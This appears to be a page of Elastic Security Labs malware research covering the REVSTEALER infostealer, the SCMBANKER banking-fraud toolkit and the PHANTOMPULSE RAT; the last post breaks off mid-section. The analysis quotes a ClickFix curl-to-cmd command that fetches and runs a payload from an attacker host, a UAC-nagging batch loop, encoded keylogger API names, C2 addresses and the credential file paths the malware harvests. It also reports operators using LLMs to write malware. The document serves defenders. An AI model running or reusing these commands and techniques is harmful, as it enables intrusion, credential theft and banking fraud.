Salim Bitam - Elastic Security Labs

REVSTEALER ramps up: analysis of up-and-coming infostealer

Daniel Stepanic,Salim Bitam,Jia Yu Chan — Wed, 02 Sep 2026 00:00:00 GMT

Elastic Security Labs is tracking an emerging infostealer, REVSTEALER, under REF2859. This family has gained momentum in recent months, with higher distribution volume, and has emerged as a formidable threat, featuring a comprehensive credential harvester, an embedded sandbox scoring system, and a Polygon blockchain-based dead drop for resilience. Beyond credential theft, REVSTEALER targets gaming platforms for additional monetization; the developer clearly understands that victim accounts on these platforms hold real monetary value in resale markets.

Gen Threat Labs first covered REVSTEALER earlier this summer, detailing its core features. In this research publication, we will walk through how it’s distributed, cover its main features, and share observed infrastructure. For readers who prefer more in-depth technical details on the malware, we are also releasing a whitepaper covering the family. We are also releasing an IDAPython string decryption script for anyone working with samples directly.

The white paper is located here and contains an in-depth analysis of REVSTEALER and REF2859.

Key takeaways

Large volume of samples (~4700) on VirusTotal over the past year, with varied submission context
Comprehensive stealer component targeting browsers, VPN/chat applications, password managers, gaming platforms. Includes ABE debugger-based bypass.
Weighted anti-analysis checks (sandbox scoring system)
EtherHiding - Polygon-based dead drop for resilient infra swapping
Tasking delivers four modules, not previously documented publicly
Widespread use of VMProtect packer in most REVSTEALER samples; unpacked samples display a verification prompt similar to LummaStealer and AuraStealer

Attack vector

Gen Threat Labs documented REVSTEALER reaching victims through a social-engineering path targeting gamers by advertising free cheats and mod menus. Building on this reporting, we identified at least 17 YouTube channels promoting the two related domains elitecheatsx[.]live and resight-cheats[.]net.

In the campaigns we observed, this took the form of YouTube account takeovers. Existing channels with established subscriber bases were hijacked and used to post short (1–2 minute) AI-generated videos demonstrating the "cheats" and linking viewers to the malicious sites.

The game-cheat campaign is only one observed presentation. Related VirusTotal submissions used names and file metadata that impersonated unrelated, recognizable software, including Slack, qBittorrent, Steel Series GG, Blender, and many more. This breadth suggests the builds are packaged for multiple lure themes, not just gaming-focused campaigns. We also ran a Retrohunt with our YARA rule, which returned about 4,700 matching samples across VirusTotal’s database over the past year.

Many of the samples we analyzed were packed with VMProtect, but the malware code was mostly recoverable through memory dumping.

Features

Development

Across its design, REVSTEALER reflects a developer building for long-term operational use. The malware incorporates features such as self-deletion, indirect syscalls, API hashing, string encryption, mechanisms to avoid user-mode hooks, and custom exception handling.

Unlike most commodity stealers, REVSTEALER seems to put more effort into validating its targets; this is evident in its cryptocurrency wallet harvester, which uses a multi-layer architecture with a discovery engine followed by a collector that applies wallet-specific extension filters to extract only relevant files.

CIS exclusion checks

Before REVSTEALER qualifies the victim machine, it first checks the machine's default/system languages and keyboard layout using a custom FNV-1a hash lookup. It retrieves each value from the machine, hashes it, and compares it against an embedded table of precomputed values representing the Commonwealth of Independent States (CIS) locales. If any of these three checks match, the malware terminates.

Sandbox scoring system

To determine whether the malware is running in a genuine environment, REVSTEALER integrates a custom sandbox scoring system using ten checks. Each check assigns a specific number of points based on sandbox characteristics such as low total physical RAM or CPU core counts.

If the total score is 7 or higher, the malware determines the machine is likely running in a sandbox environment and then self-terminates.

The following checks are used in this feature:

Process Blocklist (Type 0)
CPU Core Count (Type 1)
RAM Threshold (Type 2)
GPU / PCI Vendor Check (Type 3)
Username / Computer Name Blocklist (Type 4)
System Uptime (Type 5)
Sleep / Timing Check (Type 6)
Media Foundation Check (Type 7)
CPUID Check (Type 8)
Virtualization Check (Type 9)

Several of these checks hash values such as process names or usernames using a custom FNV-1a hash algorithm and compare the result against an embedded table. This method ensures no plaintext strings appear in the binary and prevents static analysis tools from seeing them.

Credential harvesting

REVSTEALER targets browser credentials and cookies, cryptocurrency wallets, and browser extensions. This includes 225 Chromium extension identifiers spanning cryptocurrency wallets and password managers, alongside 51 standalone wallet applications. It also collects data from messaging clients, gaming platforms, VPNs, FTP clients, OBS Studio, Windows Sticky Notes, and 2FA applications, along with selected documents and configuration files from user directories and non-system drives.

REVSTEALER’s Chromium support includes an implementation for bypassing App-Bound Encryption. To obtain the App-Bound key, it launches a browser process under debugger control, locates code associated with App-Bound decryption, and sets a nearby hardware breakpoint. When the breakpoint triggers, the malware reads the decrypted key directly from the browser’s memory. The implementation was likely influenced by the public ElevationKatz project (under ChromeKatz).

Payload watermarking

The developer places a 16-byte watermark at the end of raw payloads and validates it at runtime. Packed builds do not trigger the check because the watermark is no longer located at EOF. When a watermarked raw copy is launched, a verification window requires the user to enter a random six-character token in order to proceed with execution. This discourages distribution of unprotected payloads while also hindering sandbox analyses. Similar techniques have been observed in Lumma Stealer and AuraStealer.

Polygon dead drops as fallback

Each REVSTEALER build contains a primary C2 address and a Polygon smart-contract address. If the primary server is unavailable, REVSTEALER queries up to 5 public Polygon JSON-RPC endpoints, reads data from the contract, and decrypts a fallback C2 address using an embedded AES key.

Below are examples of extracted C2 hosts and Polygon dead drop configurations from three REVSTEALER samples with different themes.

Sample sha-256: 8b33e0f32c42a317e3d9cd67d5a6dc68e91a6cf9dd44742162858e7d83cf2073
File Name: SteelSeriesGG.exe
Configuration(c2=b'polygon.iwmukj[.]xyz:443', polygon_contract_address=b'0x7e4126ADFE6679B3613F629CD49162Fb08fc53Bd', contract_function_selector=b'0xdbefdad6', contract_return_aes_key='f07666ac22dfa1a361b8a8576baf69eadaf15431db9f3c34e93334d8d2f8d691')

Sample sha-256: bd97d5cab2d09b001d1b9e08890bce1a2b2cf8542a4b31c86b2def59328cafb2
File Name: slack.exe
Configuration(c2=b'polygon.mnyhgxda[.]xyz:443', polygon_contract_address=b'0x0EC6a6D31b36271eBD06450EA98c84eBa8a191d5', contract_function_selector=b'0xd21368b4', contract_return_aes_key='5c30efd5b9ff75023c3813705f5c47feccc496f439b24b3e572db4c3b08dffe3')

Sample sha-256: 1617552169df805405b1bb70f742d6eac5af342f31c6e39ff6b9613bd2392354
File Name: qBittorrent.exe
Configuration(c2=b'static4.livelab[.]one:443', polygon_contract_address=b'0x49cE5712164755ed212209bc71539bBc6fCFF541', contract_function_selector=b'0x071258c6', contract_return_aes_key='83f5b4ca629681abab2b9680472a304572a8c91b4a8ccc1189fbf58c6186db09')

Looking up one of the contract addresses on OKLink, there is an initial transaction to create a Polygon contract (bytecode prefix 0x60806040), initialized with an encrypted fallback C2 endpoint.

Victim profiling

Before any stealing components are launched, REVSTEALER profiles the victim machine, collecting the following data:

| Name | Note | | :---- | :---- | | System/OS info | Current timestamp, machine fingerprint, system locale, CPU info, RAM, Windows OS version, GPU name, host name, username, token integrity of user, timezone, keyboard layout, screen resolution | | Environment variable dump | Uses GetEnvironmentStringsW to dump full environment block that can commonly hold sensitive material | | Process listing | Collects all running processes | | Installed applications | Collects all installed applications via Windows uninstall registry key path (SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall) | | Windows clipboard | Collects the latest clipboard data using OpenClipboard / GetClipboardData | | Screenshot capture | Captures a full screenshot of the victim machine |

Gaming platforms

REVSTEALER has a deliberate focus on gaming platforms, harvesting sensitive materials, authentication tokens, and session cookies from popular platforms such as Blizzard’s Battle.net, EA Desktop, and Steam, along with targeting specific games such as Roblox and Minecraft. Instead of broadly sweeping the entire victim machine, the malware targets file paths, looking for configuration/settings files for each platform/game. For some of these targets, such as Roblox, REVSTEALER uses CryptUnprotectData to decrypt the user’s session cookie, enabling full account takeover without the user’s password.

The following table lists the gaming targets and their paths:

| Platform/Game | File path | | :---: | ----- | | Battle.net (Blizzard) | %LOCALAPPDATA%\Battle.net\Battle.net.config | | Battlestate Games | %APPDATA%\Battlestate Games\BsgLauncher\settings | | Electronic Arts | %LOCALAPPDATA%\Electronic Arts\EA Desktop\*.ini | | Roblox | %LOCALAPPDATA%\Roblox\LocalStorage\RobloxCookies.dat | | Steam | %LOCALAPPDATA%\Steam\local.vdf, %LOCALAPPDATA%\Steam\loginusers.vdf | | Minecraft | %USERPROFILE%\intentlauncher\launcherconfig
%USERPROFILE%\.lunarclient\settings\game\accounts.json
%APPDATA%\.minecraft\TlauncherProfiles.json
%APPDATA%\.feather\accounts.json
%APPDATA%\.minecraft\meteor-client\accounts.nbt
%APPDATA%\.minecraft\Impact\alts.json
%APPDATA%\Badlion Client\accounts.json
%APPDATA%\.minecraft\launcher_accounts.json
%APPDATA%\.minecraft\launcher_profiles_microsoft_store.json |

Four follow-on modules delivered by C2 tasking

REVSTEALER can receive additional executable content through C2 tasks. We recovered four related, self-contained payloads that extend its capabilities beyond credential theft.

Despite their distinct roles, all four REVSTEALER modules follow a common design pattern: obfuscated configuration, VMProtect-style protection, and Polygon smart contracts used as dead drops for replaceable settings, including C2 endpoints and XMRig’s command line.

REVSTEALER technical white paper

Elastic Security Labs presents a comprehensive technical analysis of REVSTEALER, covering its full capabilities, network communications, anti-analysis, sandbox scoring system, EtherHiding techniques, and follow-on modules.

You can find the technical white paper here.

String decryption script for REVSTEALER in IDA Pro

Using the nightMARE framework, our team is releasing an IDAPython script available for download here. This tool can place decrypted strings in the IDA Pro decompiler to help analysts pinpoint the malware’s functionality.

REVSTEALER and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting and preventing REVSTEALER

Detection rules for REVSTEALER

Network Activity to a Suspicious Top Level Domain

Prevention rules for REVSTEALER

YARA rules for REVSTEALER

Elastic Security has created YARA rules to identify this activity.

Windows.Trojan.RevStealer.yar

Observables and indicators of compromise

This research discusses the following observables.

All observables are also available for download.

References

The following were referenced throughout the above research:

Gen Threat Labs REVSTEALER coverage on X

ClickFix to Cash-Out: Anatomy of a Mexican Banking-Fraud Toolkit

Jia Yu Chan,Salim Bitam — Wed, 08 Jul 2026 00:00:00 GMT

A Mexican banking fraud operation we're tracking as REF6045 doesn't run on autopilot. A human operator is behind the wheel, monitoring infected machines and deciding what happens next. Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit with components dating back to at least October 2025. Once installed, the operator can see when a victim opens a banking session, lock the screen behind a fake bank warning, push the victims toward live phone interaction, redirect the browser, or replace account numbers copied to the clipboard. For a full takeover, they can also deploy a commercial remote-access tool.

Key takeaways

REF6045 adapts ClickFix delivery into operator-assisted banking fraud, using fake verification pages to stage a PowerShell toolkit (we’re calling SCMBANKER) on victim machines.
SCMBANKER gives operators a full fraud workflow: banking-session monitoring, screenshot capture, vishing overlays, phishing redirects, clipboard manipulation, and Remote Utilities installation.
SCMBANKER heavily targets Mexico’s financial ecosystem, including retail banks, business banking portals, fintechs, payment processors, cryptocurrency exchanges, investment platforms, SAT, and telecom services.
Operator OPSEC failures, including open directories, a leaked web-root archive, and an unauthenticated file editor, expose the operation’s tooling and targeting logic.
The scripts are riddled with AI-generated artifacts, indicating that the operator used an LLM to write most of the tooling.

How Elastic Security Labs discovered REF6045

On June 18, 2026, Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts from an open directory at http://68.211.161[.]46/files/. The open directory allowed us to retrieve the individual agent scripts directly, and from the same server, we recovered an archive, zkt.zip, containing the operation's full web root before it was removed.

At the web root of http://68.211.161[.]46/, we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page. The page first asked the visitor to complete an image challenge, including a Spanish prompt to select fire hydrants, before moving into the familiar Windows Run verification instructions. The command fetches validation.txt from the same web server and pipes it directly into cmd.exe, using the lure text “Google Verificación Segura (Version 2025.5755)”. The page also sends a POST request to a tracking endpoint at https://ww.ssinvestigaciones[.]com/login3.php.

Because navigator.clipboard.writeText() requires a secure, focused browser context to copy the malicious command to the victim's clipboard, the original IP (http://68.211.161[.]46/) was unlikely to be the only victim-facing delivery path. We identified multiple HTTPS ClickFix hosts that reused the same command pattern and pointed victims back to the exposed file servers for validation.txt.

The observed ClickFix and file-server variants are included in the following table. The C2 values were extracted from the PowerShell scripts hosted under each /files open directory.

SCMBANKER's execution chain

The initial infection chain described below uses the monteviral2026.duckdns[.]org ClickFix page as an example, but the observed variants follow the same pattern: they present a CAPTCHA-style verification page, including an image challenge, before copying a command to the clipboard and instructing the victim to run it from the Windows Run dialog.

Below is an example command line:

cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit #                                                     CIoudfIare            Google Verificación Segura (Version 2025.5755)

Decoy strings CIoudfIare with capital-I homoglyphs, and the Google Verificación Segura version text are reproduced verbatim.

Despite the .txt extension, it is a Windows batch script that prepares the host and sets up the full toolkit in six different stages.

Fake update smokescreen

The batch script immediately launches Microsoft Edge in kiosk mode pointing to fakeupdate[.]net, a well-known pentesting/red team site that renders a fake Windows Update screen. This distraction buys time for the script to fully execute.

start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen

UAC consent fatigue loop

Next, the malware checks if it is running as admin via net session. If it is not elevated, it shows a social-engineered message "Windows: Se requieren permisos de administrador para actualizar su sistema…" (Administrator permissions are required to update your system…), and relaunches itself with -Verb RunAs every 20 seconds, frustrating and forcing the victim to click “Yes” on the UAC consent prompt.

:check
net session >nul 2>&1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command "Start-Process '%~f0' -Verb RunAs"
timeout /t 20 >nul
goto check

Cursor trap

Once elevated, an inline PowerShell P/Invoke call to user32.dll!ClipCursor confines the mouse to a single 1x1 pixel rectangle at the screen center, locking any mouse movement. This is paired with the fake Windows Update screen to encourage the victim to stay idle, giving time for the malware to download the full toolset in the background without interruption.

Downloading the SCMBANKER toolkit via bitsadmin

All malicious scripts, files, and binaries are pulled individually via bitsadmin from http://68.211.161[.]46/files/ to C:\Users\Public\.

SCMBANKER's persistence: registry Run key and startup folder

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon, plus a one-shot infection marker:

Run key: HKCU\...\Run, value "run", runs hidden PowerShell launching run.vbs.
Startup folder: run.vbs dropped to three path variants (%APPDATA%, %USERPROFILE%\AppData\Roaming, and the legacy XP %USERPROFILE%\Start Menu).
RunOnce timestamp: value "id" writes %date% %time% to C:\Users\Public\id.txt once on next logon, then self-deletes.

Forcing a reboot to trigger persistence

The script sends an F11 keypress to exit fullscreen, followed by a Ctrl+W keypress sequence to close the fake Windows Update tab. However, this approach only works in a standard fullscreen browser window, not in kiosk mode. It then forces a reboot with the shutdown /r /t 02 command. Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file (run.vbs).

The SCMBANKER toolkit

run.vbs: SCMBANKER's master launcher

The VBScript (run.vbs) is the master launcher. It uses WScript.Shell.Run with a hidden window style and Invoke-Expression to start the toolkit's modules in parallel:

run.vbs launches the following modules:

| Script | Role | | ----- | ----- | | rotor2.ps1 | Long-running process-mutation rotator for mensaje1.ps1 (vishing module) | | ini.ps1 | Delayed launcher for jujuzkt.ps1 (banking activity monitor) | | remo.ps1 | IP-gated launcher for jujuzkt2.ps1 (phishing redirect module) | | edifhjwe.ps1 | Toolkit updater | | cliente.ps1 | C2 beacon / implant control channel | | avs.ps1 | Remote Utilities RAT installer downloader | | clip.ps1 / clip2.ps1 | CLABE and card-number clipboard hijackers | | correr.ps1 | Arbitrary PowerShell executor | | cursor2.exe | Invisible-cursor utility (compiled AutoIt). Replaces every system cursor type with an invisible cursor at C:\Users\Public\invi.cur |

Pivoting in VirusTotal, we discovered earlier versions of the toolkit components, suggesting the tooling has been in use since at least October 2025 and has been iterated on for several months.

C2 beacon and victim management

Every 30 seconds, cliente.ps1 collects a machine profile and performs an HTTP POST request to https://negratomasa2026[.]online/dashboard2/recData.php:

The following table represents this request data and its associated fields:

| Field | Source | Purpose | | ----- | ----- | ----- | | machine_name | $env:COMPUTERNAME | Victim identification | | client_id | GUID in client_id.txt | Unique implant ID (persists across reboots) | | ip_local | Get-NetIPAddress | Internal network recon | | ip_public | api.ipify.org | External IP for geolocation and targeting | | comentario | comentario.txt | Operator's notes/label for this victim | | idInternet | id.txt | Infection timestamp | | remoto | agent.txt | RAT installation status (default: SIN REMOTO AUN) | | comando | comando.txt | Last command received | | optUpdate | hardcoded “update” | Meant to flag whether the remote tool is installed, but it's overridden to always say "update" (likely debugging leftover) | | timestamp | Unix epoch | Beacon time |

The C2 response contains two operator-controlled fields.

The data from the comentario field is saved to comentario.txt and stores the operator’s label or notes for the victim.

The data from the comando field is saved to comando.txt. Other modules poll that file for operator instructions:

avs.ps1 handles MSI URLs.
edifhjwe.ps1 handles ZIP update packages.
correr.ps1 handles PowerShell-prefixed execution requests.

The following image shows the server response parsing logic.

Banking activity monitor

The primary banking activity monitor is a PowerShell script (jujuzkt.ps1), but it also has optional active branches:

URL injection when a configured target has a redirect URL, and
a commented-out keylogger rotator path via rotor.ps1.

After a short startup delay, invoked by ini.ps1, the banking monitor script refreshes three configuration files every five minutes.

| Remote URL | Local File | Content | | ----- | ----- | ----- | | https://negratomasa2026[.]online/a/teleavisos.txt | config1.txt | Arbitrary PowerShell executed via Invoke-Expression | | https://negratomasa2026[.]online/b/listadebancos.txt | config2.txt | Window title keywords (bank names + optional redirection target, *-delimited) | | https://negratomasa2026[.]online/b/keysnegativas.txt | config_negative.txt | Negative keywords to filter out false matches when scanning opened windows |

Once running, the banking activity monitor checks all visible window titles every second. A match (full list here) against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert to https://negratomasa2026[.]online/dashboard2/avisos2.php in the following format:

mensaje = "
Detected C0incidence: ''
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: 
Cliente desde: 
Client ID: 
IP: 
Navegador: 
"
clientId =

A banking match also starts the screenshot workflow through the toolkit’s rotator pattern. The rotor scripts act as short-lived wrappers: they copy a target script into %TEMP% under Windows-like process names, execute the copy, and repeat for a set period. In this case, rotor1.ps1 repeatedly spawns screen2.ps1 every 7 seconds for 5 minutes, producing about 42 screenshots per trigger. Each screen2.ps1 run captures the full virtual desktop, compresses the image under 10 MB, and uploads it to https://negratomasa2026[.]online/dashboard2/imagenes.php.

SCMBANKER's keylogging module

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1, a short-lived rotator for key.ps1. While the banking monitor path launches rotor1.ps1 for screenshots, the presence of rotor.ps1 and key.ps1 shows an additional keylogging capability in the toolkit. rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1.

This PowerShell script (key.ps1) fetches Telegram bot credentials from https://negratomasa2026[.]online/a/telekeylogger.txt via Invoke-Expression, but never references them after assignment. The only exfiltration path in the script is an HTTP POST to https://negratomasa2026[.]online/dashboard2/logs.php with the client ID and hostname. The Telegram configuration may be leftover code from an earlier version.

The vishing engine: turning infections into live phone scams

The vishing engine is what turns a commodity-looking PowerShell bundle into an operator-assisted fraud workflow. rotor2.ps1 applies the rotator pattern to mensaje1.ps1, keeping the dispatcher alive under changing Windows-like filenames.

When mensaje1.ps1 is launched, every 10 seconds it fetches https://negratomasa2026[.]online/b/.txt, where each line has the format *, mapping a victim public IP address to a vishing page URL. If the victim’s public IP appears in that list, the dispatcher launches a vishing lock-screen module and records the child process ID so it can later release the victim when the IP is removed.

The operator can choose between two overlay behaviors.

mensaje.ps1 creates a borderless, topmost WebBrowser window, confines the mouse to the form, and uses a 200 ms timer to bring the overlay back to the foreground if the victim clicks away.
mensajeoff.ps1 uses a more normal-looking window that cannot be closed and automatically undoes every attempt to dismiss, move, resize, or minimize it. Triggered when the URL ends with ?off.

The content of those pages completes the social engineering loop: the victim sees a fake bank warning and is prompted to call an operator. One observed page, http://68.211.161[.]46/driver.html?off, links to a Remote Utilities payload, connecting the vishing prompt directly to hands-on access.

Active browser redirects to phishing pages

Unlike the banking monitor, the redirect module only engages victims the operator has explicitly queued for phishing. remo.ps1 polls https://negratomasa2026[.]online/b/.txt every 5 minutes, and only victims whose public IP appears in that file launch the second monitor, jujuzkt2.ps1.

jujuzkt2.ps1 watches window titles against https://negratomasa2026[.]online/b/urlsscams.txt (archived list here) and, when a configured URL exists, places the phishing URL on the clipboard, focuses the browser, sends keypresses (Ctrl+L, Ctrl+V, and Enter), then pauses before continuing.

Many urlsscams.txt entries currently end with an empty URL, which suggests target coverage was planned ahead of the completed vishing pages.

An observed redirect destination, https://bancaporinternetbbmx[.]online, also includes a page-load Telegram notification script. When the phishing page opens, the script forces IPv4 resolution, collects browser and device details, and sends the profile to a Telegram chat. This gives the operator immediate confirmation that a redirected victim has reached the lure and has enough context to prioritize live follow-up.

Clipboard and transfer manipulation

The clipboard modules focus on payment redirection rather than credential theft.

clip.ps1 checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers, then matches the first three digits against the Mexican bank prefix and can replace the destination account with an attacker-controlled CLABE from https://negratomasa2026[.]online/b/clabes.txt.
clip2.ps1 applies the same process to 16-digit card numbers, matches on the six-digit bank identification numbers, and replaces them with values from https://negratomasa2026[.]online/b/tarjetas.txt.

How does the operator get hands-on access to a victim's machine?

SCMBANKER gives the operator direct, hands-on-keyboard control by installing a remote-access tool. Rather than build one, REF6045 repurposes Remote Utilities Host, a legitimate commercial remote-administration product, and configures it silently to call back.

Deployment is operator-triggered and runs through three scripts. The first script (avs.ps1) polls comando.txt every 120 seconds, and when the operator pushes an .msi URL it downloads the installer to C:\Users\Public\ and launches instaler.ps1. This second script (instaler.ps1) exits if the 99.kut guard file already exists so the RAT installs only once, relaunches itself with -Verb RunAs until it gets admin, then installs silently with msiexec /i "hosts.msi" /quiet /norestart. On success, it writes REMOTO INSTALADO to agent.txt, drops the 99.kut guard, and runs attrib +h +s "C:\Users\Public" to hide the implant directory.

The third script (remoto.ps1) waits 120 seconds, then imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters that sets callback auto-connect to the operator (default port 5650, Spanish UI, notifications suppressed, a hardcoded auth key, and SID 46053.045416157).

It also deletes the UninstallString at HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{F6688BD5-2126-4F4F-A484-1D05781479B9} so the victim cannot remove it through the traditional Windows menu: Add/Remove Programs.

The result is a persistent, attacker-configured remote desktop that calls home on its own, runs without tray notifications, and resists removal. It is the same payload as the driver.html?off vishing page points victims to, so the social-engineering prompt and the silent install converge on the same hands-on access.

SCMBANKER's self-update mechanism

SCMBANKER includes a self-update mechanism that lets the operator replace the implant from the C2 without rebuilding persistence. edifhjwe.ps1 polls C:\Users\Public\comando.txt (C2 command written by cliente.ps1) every 40 seconds and treats a ZIP URL as an update instruction.

When triggered, edifhjwe.ps1 downloads the ZIP to %TEMP%\Agent_temp.zip, wipes most of C:\Users\Public\, and extracts the new toolkit into place. It preserves a small set of state files, including comando.txt, comentario.txt, id.txt, agent.txt, and 99.kut, so the updated bot keeps its operator notes, infection timestamp, remote-access status, and Remote Utilities install marker.

After extraction, the updater writes BOT ACTUALIZADO to comando.txt as a completion flag, kills running PowerShell module processes by script name, and relaunches run.vbs.

Is the REF6045 malware written by AI?

The scripts show strong signs of AI assistance, most likely by prompting a large language model in Spanish and then applying manual obfuscation afterward. The code has a split personality, with clean, descriptive function names and heavy explanatory comments sitting next to hand-shortened variables and leftover generation artifacts. The placement of instruction-like comments directly above the code they describe suggests the authors have prompted an inline coding assistant such as Copilot or Cursor.

The clearest artifact is a comment sitting directly in the mutation rotator and the keylogger (rotor2.ps1 and key.ps1), which are saturated with aggressive profanity in their comments, while the rest of the kit uses a neutral tone:

key.ps1 uses self-documenting obfuscation. It Base64-encodes its Win32 API names to hide them from scanners, then immediately annotates what each one decodes to:

$u32b64  = 'dXNlcjMyLmRsbA=='          # user32.dll
$GASb64  = 'R2V0QXN5bmNLZXlTdGF0ZQ=='  # GetAsyncKeyState
$GKLb64  = 'R2V0S2V5Ym9hcmRMYXlvdXQ='  # GetKeyboardLayout
$TUExb64 = 'VG9Vbmljb2RlRXg='          # ToUnicodeEx

Every script opens with heavy banner-comment dividers (INTERVALOS DE TIEMPO, DICCIONARIOS Y VARIABLES, FUNCIONES, INICIO, LOOP PRINCIPAL). This document-like scaffolding is a hallmark of LLM-generated PowerShell and is rarely seen in scripts by experienced developers.

Taken together, the evidence points to an operator who prompted a model in Spanish, used profanity and phrasing tricks either out of frustration or to bypass safety filters for the more sensitive components, and pasted the outputs with little review before applying a light manual obfuscation pass. The kit was not generated autonomously, but the model did the heavy lifting on essentially every functional script.

As language models become increasingly capable, defenders should expect AI-assisted malware development to become more common, particularly among operators who previously lacked the expertise to implement these capabilities themselves.

REF6045's infrastructure and OPSEC failures

The depth of this analysis was made possible by poor server hygiene across the operation. The file server at http://68.211.161[.]46/files/ had directory listing enabled, exposing the PowerShell agent scripts for direct download. The same directory also briefly hosted zkt.zip, which yielded the entire operation in a single archive.

The C2 also exposed an unauthenticated file editor at /b/editor.php, allowing anyone to directly modify the operation's live targeting configuration files without credentials. The same surface that lets the operator manage victims also lets a visitor read and write the configuration files.

The related ClickFix hosts listed earlier reused the same validation.txt delivery pattern while hosting overlapping PowerShell toolsets under /files. Those hosted scripts pointed to separate C2 panels, but the panels shared the same SCM-branded login template, with the latest we’ve seen being SCM v2.0, hence the name SCMBANKER.

Taken together, the open directories, exposed editor, repeated lure text, overlapping file-server contents, and shared SCM panel branding suggest kit reuse or multiple deployments by the same operator set. We treat the related hosts as infrastructure variants around the same tooling rather than as separate malware families.

Why REF6045 matters despite its crude execution

REF6045 is not a complex operation. The tooling is crude and held together with copy-paste batch files, duplicated bitsadmin jobs, sloppy persistence, self-defeating obfuscation that ships its own key, and a server left wide open with directory listings, a full web-root archive, and an unauthenticated editing panel.

That lack of craftsmanship is partly explained by how the kit was developed. The scripts are littered with numerous AI-generated artifacts, suggesting the operator relied heavily on a large language model to implement much of the functionality. Rather than writing components such as the keylogger or a clipboard hijacker from scratch, the operator prompted a model, pasted the output, and applied a light manual obfuscation pass on top.

Victims are kept as a passive feed while the operator watches a live dashboard and engages only the targets worth the effort, switching on browser redirects, vishing lockdowns, clipboard swaps, or a full RAT by IP, on demand. Crude as it is, SCMBANKER already has real victims. The live victim counter and the labeled, tagged machines on the operator's own panels show that individual people are being actively targeted.

REF6045 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

How to detect and prevent REF6045

Prevention rules for detecting SCMBANKER

Observables

The following observables were discussed in this research.

PHANTOMPULSE: anatomy of a hijackable blockchain-C2 RAT

Salim Bitam — Fri, 22 May 2026 00:00:00 GMT

Elastic Security Labs's prior coverage of REF6598 documented an intrusion set whose Windows toolchain landed via Obsidian plugin abuse, escalated via an in-memory PE loader (PHANTOMPULL), and finished with a RAT (PHANTOMPULSE). That post focused on delivery. This post analyzes the final stage: PHANTOMPULSE, an implant that ships three process-injection techniques, resolves its C2 through Ethereum/Base/Optimism transaction inputs, and bypasses UAC via the public schuac technique. The analysis surfaces a sinkhole-able blockchain C2 channel, a unified hardware-breakpoint primitive that disables AMSI / WLDP / ETW and pervasive AI-assisted-development fingerprints in the implant's debug strings.

Key takeaways

PHANTOMPULSE implements three injection techniques adapted from recent public offensive-security PoCs.
AMSI, WLDP, and ETW are bypassed via a single shared HWBP primitive
The blockchain C2 resolver has no sender verification, allowing a defender to override the C2 URL for every implant by posting a single transaction
Strong AI-assisted-development indicators present in the binary

A note on AI-assisted development

PHANTOMPULSE bears strong fingerprints of AI coding assistance, visible throughout the debug strings.

The clearest tells:

Structured step numbering in operational logs: [STEP 1] Staged mode — payload downloaded from C2 at runtime, [STEP 1/3] Scheduled Task (DotNetSvcUpdateTask, logon + every 3 min), [STEP 2/3] Boot Task (DotNetSvcCoreTask, INTERACTIVE_TOKEN + BootTrigger), [UNINSTALL 4/6] Removing persist_loader DLL + registry PE data..., [REPAIR] Reinstalling boot task (INTERACTIVE_TOKEN)....
ENTER/DONE function tracing: "[HEIS] encrypt_text_only ENTER" / "[HEIS] encrypt_text_only DONE", "KeylogResolveAPIs: ENTER". The diagnostic style LLMs default to when generating new functions.
Verbose diagnostics: "FindHostProcessEx: scan stats: total=%lu sessSkip=%lu openFail=%lu native=%lu wow64=%lu mapReject=%lu dbgReject=%lu sess=%lu", "ManualMap: thread hijacked and resumed — DLL injection via thread hijack complete". Self-explanatory output, unusually talkative for malware.
Em dashes in C strings: "elevate: FAIL — no deployed DLL path", ">>> .elevate: NOT proxy — spawning trusted host to handle elevation".

Execution chain

MainEntryLogic is the orchestration function that runs the full initialization sequence before entering the C2 loop:

start
 └─ WinMain
     └─ MainEntryLogic
         1. DynInit                // Bootstrap API resolution
         2. ElevationStateCheck    // ".elevate" marker detection, routes by token elevation state
         3. SingleInstanceCheck    // XOR-decrypted mutex, exit if already running
         4. EvasionInit            // Direct syscalls + ETW HWBP
         5. SyscallResolverInit    // CPUID + hash-based kernel32 resolution
         6. SleepMaskInit          // Sleep obfuscation setup
         7. ComputeMachineID       // DJB2(module name) ^ volume serial
         8. IsRunningHollowed      // Process hollowing self-check
         9. CollectSysInfo         // CPU, GPU, RAM, OS, AV, apps
        10. FilelessPersist        // Drop stub DLL, registry artifact
        11. InstallPersistence     // Three scheduled tasks via COM ITaskService
        12. C2Loop_Init → C2Loop_Main

At startup, the implant DJB2-hashes the user name and computer name and looks each up in a precomputed table. A match exits the process. Brute-forcing the table against public anti-sandbox wordlists recovered 20 of the 61 entries: WDAGUtilityAccount (Windows Defender Application Guard), several DESKTOP-XXXXXXX default-VM names, and the Joe Sandbox personas (abby, patex, george, john, lisa, frank, RDhJ0CNFevzX).

Defense evasion

Direct syscalls and API wrappers

